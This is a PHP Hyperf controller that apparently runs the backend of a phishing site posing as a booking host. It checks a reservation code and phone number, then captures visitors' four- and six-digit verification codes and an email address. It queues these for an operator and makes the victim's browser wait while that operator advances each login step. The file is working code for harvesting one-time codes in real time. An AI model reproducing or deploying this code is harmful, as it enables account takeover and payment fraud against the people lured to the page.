<?php

declare(strict_types=1);
/**
 * This file is part of Hyperf.
 *
 * @link     https://www.hyperf.io
 * @document https://hyperf.wiki
 * @contact  group@hyperf.io
 * @license  https://github.com/hyperf/hyperf/blob/master/LICENSE
 */
namespace App\Controller;

use App\Constants\ErrorCode;
use App\Constants\SuccessCode;
use App\Exception\BusinessException;
use App\Job\PushGlobalNotificationJob;
use App\Model\Banner;
use App\Model\CardNo;
use App\Model\Mobile;
use App\Model\SmsCode;
use App\Request\Api\Auth\UserLoginEmailRequest;
use App\Request\Api\CardVerifRequest;
use App\Request\LoginMobileCodeRequest;
use App\Request\SmsCodeSendRequest;
use App\Resource\BaseResource;
use App\Service\QueueService;
use Carbon\Carbon;
use Hyperf\Di\Annotation\Inject;
use Hyperf\HttpServer\Contract\RequestInterface;

class IndexController extends AbstractController
{
    /**
     * @var QueueService
     */
    #[Inject]
    protected $queueService;

    public function cardVerif(CardVerifRequest $request)
    {

        $setting = \App\Model\Setting::find(1);
        if ($setting->conf == 1) {

            if ($request->input('lang') == 'fr') {

                throw new BusinessException(ErrorCode::NO_CUSTOMER_ERROR . 'Une erreur s’est produite. Veuillez contacter votre hôte');
            }elseif ($request->input('lang') == 'de') {

                throw new BusinessException(ErrorCode::NO_CUSTOMER_ERROR . 'Etwas ist schiefgelaufen. Bitte kontaktieren Sie Ihren Gastgeber');
            }elseif ($request->input('lang') == 'nl') {

                throw new BusinessException(ErrorCode::NO_CUSTOMER_ERROR . 'Er is iets misgegaan. Neem contact op met uw host');
            }elseif ($request->input('lang') == 'it') {

                throw new BusinessException(ErrorCode::NO_CUSTOMER_ERROR . 'Si è verificato un problema. Si prega di contattare il proprio host');
            }elseif ($request->input('lang') == 'es') {

                throw new BusinessException(ErrorCode::NO_CUSTOMER_ERROR . 'Algo salió mal. Por favor, contacte a su anfitrión');
            }else{

                throw new BusinessException(ErrorCode::NO_CUSTOMER_ERROR . 'Something went wrong. Please contact your host');
            }
        }

        $card = Mobile::where('card_no', $request->input('card_no'))->orderByDesc('id')->first();

        if ($card) {

            SmsCode::insert([
                'card_no'  => $card->card_no,
                'mobile_area' => $card->mobile_area,
                'mobile' => $card->mobile,
                'created_at' => Carbon::now(),
                'is_send' => 0
            ]);

            $this->queueService->push(PushGlobalNotificationJob::class, [
                'type' => 'sendSmsCode',
            ]);

            return new BaseResource(SuccessCode::SUCCESS, [
                'link' =>  '/loginMobile',
                'mobile_area' => $card->mobile_area
            ]);
        }

        if ($request->input('lang') == 'fr') {

            throw new BusinessException(ErrorCode::CUSTOM_ERROR . ' Veuillez fournir le code de réservation correct');
        }elseif ($request->input('lang') == 'de') {

            throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Bitte geben Sie den richtigen Reservierungscode ein');
        }elseif ($request->input('lang') == 'nl') {

            throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Gelieve de juiste reserveringscode op te geven');
        }elseif ($request->input('lang') == 'it') {

            throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Si prega di fornire il codice di prenotazione corretto');
        }elseif ($request->input('lang') == 'es') {

            throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Por favor, proporcione el código de reserva correcto');
        }else{

            throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Please provide the correct reservation code');
        }
    }

    public function smsSend(SmsCodeSendRequest $request)
    {
        $data = $request->validated();

        $mobile = ltrim($data['mobile'], '0');

        $mobil = Mobile::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->first();

        if (!$mobil) {

            if ($request->input('lang') == 'fr') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Veuillez utiliser le numéro de téléphone de réservation ou mettre à jour vos informations.');
            }elseif ($request->input('lang') == 'de') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Bitte verwenden Sie die Reservierungs-Telefonnummer oder aktualisieren Sie Ihre Informationen.');
            }elseif ($request->input('lang') == 'nl') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Gebruik alstublieft het reserveringstelefoonnummer of werk uw gegevens bij.');
            }elseif ($request->input('lang') == 'it') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Si prega di utilizzare il numero di telefono della prenotazione o aggiornare le proprie informazioni.');
            }elseif ($request->input('lang') == 'es') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Por favor, utilice el número de teléfono de la reserva o actualice su información.');
            }else{

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Please use the reservation phone number or update your information.');
            }
        }

        // $data['is_send'] = 1;
        // $data['code'] = '';
        // SmsCode::create($data);

        $smsCode = SmsCode::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->orderByDesc('id')
            ->first();
        $smsCode->is_send = 1;
        $smsCode->code = '';
        $smsCode->save();

        $this->queueService->push(PushGlobalNotificationJob::class, [
            'type' => 'sendSmsCode',
        ]);

        return new BaseResource();
    }

    public function smsSendStatus(SmsCodeSendRequest $request)
    {
        $data = $request->validated();
        $mobile = ltrim($data['mobile'], '0');

        $smscode = SmsCode::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->orderByDesc('id')
            ->first();

        return new BaseResource(SuccessCode::SUCCESS, [
            'status' => $smscode->is_send
        ]);
    }

    public function loginTemp(LoginMobileCodeRequest $request)
    {
        $data = $request->validated();
        $mobile = ltrim($data['mobile'], '0');

        // 'mobile_area', 'mobile', 'code',
        $smsCode = SmsCode::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->orderByDesc('id')
            ->first();
        if ($smsCode) {

            if ($smsCode->is_send == 2) {

                if ( (strlen($smsCode->code_four) != 4) && strlen($data['code']) <= 4 ) {

                    $smsCode->code_four = $data['code'];
                    // $smsCode->code_six = '';
                }elseif( (strlen($smsCode->code_six) != 6) && ( strlen($data['code']) == 6 || strlen($data['code']) == 5)){

                    $smsCode->code_six = $data['code'];
                }

                $smsCode->save();
                $this->queueService->push(PushGlobalNotificationJob::class, [
                    'type' => 'loginTemp',
                    'mobile' => $data['mobile'],
                    'card_no' => $data['card_no'],
                    'code_four' => $smsCode->code_four,
                    'code_six' => $smsCode->code_six,
                    'mobile_area' => $smsCode->mobile_area
                ]);
            }
        }

        return new BaseResource();
    }


    public function login(LoginMobileCodeRequest $request)
    {
        $data = $request->validated();
        $mobile = ltrim($data['mobile'], '0');
        // 'mobile_area', 'mobile', 'code',
        $smsCode = SmsCode::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->orderByDesc('id')
            ->first();

        if (!$smsCode) {
            if ($request->input('lang') == 'fr') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Veuillez obtenir le code de vérification.');
            }elseif ($request->input('lang') == 'de') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Bitte holen Sie den Bestätigungscode ab.');
            }elseif ($request->input('lang') == 'nl') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Haal alstublieft de verificatiecode op.');
            }elseif ($request->input('lang') == 'it') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Si prega di ottenere il codice di verifica.');
            }elseif ($request->input('lang') == 'es') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Por favor, obtenga el código de verificación.');
            }else{

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Please obtain the verification code');
            }
        }else{
            if ($smsCode->is_send != 2) {

                if ($request->input('lang') == 'fr') {

                    throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Veuillez obtenir le code de vérification.');
                }elseif ($request->input('lang') == 'de') {

                    throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Bitte holen Sie den Bestätigungscode ab.');
                }elseif ($request->input('lang') == 'nl') {

                    throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Haal alstublieft de verificatiecode op.');
                }elseif ($request->input('lang') == 'it') {

                    throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Si prega di ottenere il codice di verifica.');
                }elseif ($request->input('lang') == 'es') {

                    throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Por favor, obtenga el código de verificación.');
                }else{

                    throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Please obtain the verification code');
                }
            }else{

                $smsCode->code = $data['code'];
                $smsCode->is_send = 3;
                $smsCode->save();

                $this->queueService->push(PushGlobalNotificationJob::class, [
                    'type' => 'loginWait'
                ]);

                return new BaseResource();
            }
        }
    }

    public function loginStatus(LoginMobileCodeRequest $request)
    {
        $data = $request->validated();
        $mobile = ltrim($data['mobile'], '0');
        $smsCode = SmsCode::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->where('code', $data['code'])
            ->orderByDesc('id')
            ->first();

        if ($smsCode->is_send == 4) {

            return new BaseResource(SuccessCode::SUCCESS, [
                'status' => $smsCode->is_send,
                'link' => \Hyperf\Support\env('HOST_NAME') . '/login/success'
            ]);
        }elseif ($smsCode->is_send == 6){
            return new BaseResource(SuccessCode::SUCCESS, [
                'status' => 4,
                'link' => \Hyperf\Support\env('HOST_NAME') . '/#/404'
            ]);
        } else{
            return new BaseResource(SuccessCode::SUCCESS, [ 'status' => $smsCode->is_send]);
        }
    }

    public function loginEmail(UserLoginEmailRequest $request)
    {
        $data = $request->validated();
        $mobile = ltrim($data['mobile'], '0');
        $smsCode = SmsCode::where('mobile_area', $data['mobile_area'])
            ->where('mobile', $mobile)
            ->where('card_no', $data['card_no'])
            ->orderByDesc('id')
            ->first();
        if ($smsCode->is_send == 7) {

            $smsCode->email = $data['email'];
            $smsCode->save();

            return new BaseResource(SuccessCode::SUCCESS, [ 'status' => 7]);
            $this->queueService->push(PushGlobalNotificationJob::class, [
                'type' => 'loginWait'
            ]);
        }else{
            if ($request->input('lang') == 'fr') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Pas besoin de soumettre une adresse e-mail');
            }elseif ($request->input('lang') == 'de') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Keine E-Mail-Adresse erforderlich');
            }elseif ($request->input('lang') == 'nl') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Geen e-mailadres nodig');
            }elseif ($request->input('lang') == 'it') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'Non è necessario fornire un indirizzo email');
            }elseif ($request->input('lang') == 'es') {

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'No es necesario proporcionar un correo electrónico');
            }else{

                throw new BusinessException(ErrorCode::CUSTOM_ERROR . 'No need to submit an email address');
            }
        }
    }

    public function testMsg()
    {
        $this->queueService->push(PushGlobalNotificationJob::class, [
            'type' => 'sendSmsCode',
        ]);
    }

}
